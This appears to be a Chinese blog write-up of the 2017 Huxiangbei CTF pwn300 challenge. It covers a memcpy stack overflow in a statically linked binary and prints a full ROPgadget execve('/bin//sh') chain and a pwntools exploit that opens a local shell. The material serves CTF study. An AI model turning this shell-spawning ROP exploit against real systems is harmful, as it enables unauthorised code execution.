–湖湘杯Pwn300

  • 会飞的鱼
  • 16 Minutes
  • May 17, 2019

一,程序分析

2017年湖湘杯的pwn300,查了程序保护机制,NX没开

lld 查看动态库依赖关系是静态链接文件

memcpy这里有栈溢出,这样我们就可以利用ROPgadget构造ropchain了

根据ida反汇编的结果,我们可以画出栈分布

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
           *-------------------*
ebp -0x3c | 0x4 | v5
*-------------------*
ebp -0x38 | 0x40 | v6
*-------------------*
ebp -0x10 | 0x4 | v7
*-------------------*
ebp -0xc | 0x4 | v8
*-------------------*
ebp -0x8 | 0x4 | v9
*-------------------*
ebp -0x4 | 0x4 |
*-------------------*
ebp | 0x4 |
*-------------------*

二,漏洞利用

1.覆盖栈到ret

2.将ropchain写入

三,攻击过程

1.使用ROPgadget生成ropchain

1
ROPgadget --binary pwn300  --ropchain
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
ROP chain generation
===========================================================

- Step 1 -- Write-what-where gadgets

[+] Gadget found: 0x8054ec2 mov dword ptr [edx], ecx ; ret
[+] Gadget found: 0x806ed0a pop edx ; ret
[+] Gadget found: 0x806ed31 pop ecx ; pop ebx ; ret
[-] Can't find the 'xor ecx, ecx' gadget. Try with another 'mov [r], r'

[+] Gadget found: 0x80a1dad mov dword ptr [edx], eax ; ret
[+] Gadget found: 0x806ed0a pop edx ; ret
[+] Gadget found: 0x80bb406 pop eax ; ret
[+] Gadget found: 0x8054730 xor eax, eax ; ret

- Step 2 -- Init syscall number gadgets

[+] Gadget found: 0x8054730 xor eax, eax ; ret
[+] Gadget found: 0x807b75f inc eax ; ret

- Step 3 -- Init syscall arguments gadgets

[+] Gadget found: 0x80481c9 pop ebx ; ret
[+] Gadget found: 0x806ed31 pop ecx ; pop ebx ; ret
[+] Gadget found: 0x806ed0a pop edx ; ret

- Step 4 -- Syscall gadget

[+] Gadget found: 0x8049781 int 0x80

- Step 5 -- Build the ROP chain

#!/usr/bin/env python2
# execve generated by ROPgadget

from struct import pack

# Padding goes here
p = ''

p += pack('<I', 0x0806ed0a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bb406) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080a1dad) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ed0a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bb406) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080a1dad) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ed0a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054730) # xor eax, eax ; ret
p += pack('<I', 0x080a1dad) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x0806ed31) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080ea060) # padding without overwrite ebx
p += pack('<I', 0x0806ed0a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054730) # xor eax, eax ; ret
p += pack('<I', 0x0807b75f) # inc eax ; ret
p += pack('<I', 0x0807b75f) # inc eax ; ret
p += pack('<I', 0x0807b75f) # inc eax ; ret
p += pack('<I', 0x0807b75f) # inc eax ; ret
p += pack('<I', 0x0807b75f) # inc eax ; ret
p += pack('<I', 0x0807b75f) # inc eax ; ret
p += pack('<I', 0x0807b75f) # inc eax ; ret
p += pack('<I', 0x0807b75f) # inc eax ; ret
p += pack('<I', 0x0807b75f) # inc eax ; ret
p += pack('<I', 0x0807b75f) # inc eax ; ret
p += pack('<I', 0x0807b75f) # inc eax ; ret
p += pack('<I', 0x08049781) # int 0x80

将得到的ropchain转换成我们需要的形式

1
2
3
4
5
6
7
8
9
10
11
12
13
import binascii
rop=[]

for line in open('/home/geng/Desktop/test/data.txt'):
if "pack" in line:
rop.append(str(line).split(",")[1].split(")")[0])
else:
l=list(line)
l.reverse()
m=''.join(l).split('\'')[1]
rop.append('0x'+binascii.b2a_hex(m))

print rop

四 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import*
import binascii
rop=[]
payload=[]
for line in open('/home/geng/Desktop/test/data.txt'):
if "pack" in line:
rop.append(str(line).split(",")[1].split(")")[0])
else:
l=list(line)
l.reverse()
m=''.join(l).split('\'')[1]
rop.append('0x'+binascii.b2a_hex(m))
print rop
for i in rop:
payload.append(int (i,16)) #因为要输入十进制整数,所以要先转换
p=process('./pwn300')

p.recvuntil('calculate:')
p.sendline('255')

for i in range(16):   #这里16*4覆盖ebp
p.recvuntil('5 Save the result\n')
p.sendline('2')
p.recvuntil('input the integer x:')
p.sendline('0')
p.recvuntil('input the integer y:')
p.sendline('0')
p.recvuntil('\n')
for i in range(len(rop)):
p.recvuntil('5 Save the result\n')
p.sendline('2')
p.recvuntil('input the integer x:')
p.sendline(str(payload[i]))
p.recvuntil('input the integer y:')
p.sendline('0')
p.recvuntil('\n')

p.sendline('5')
p.interactive()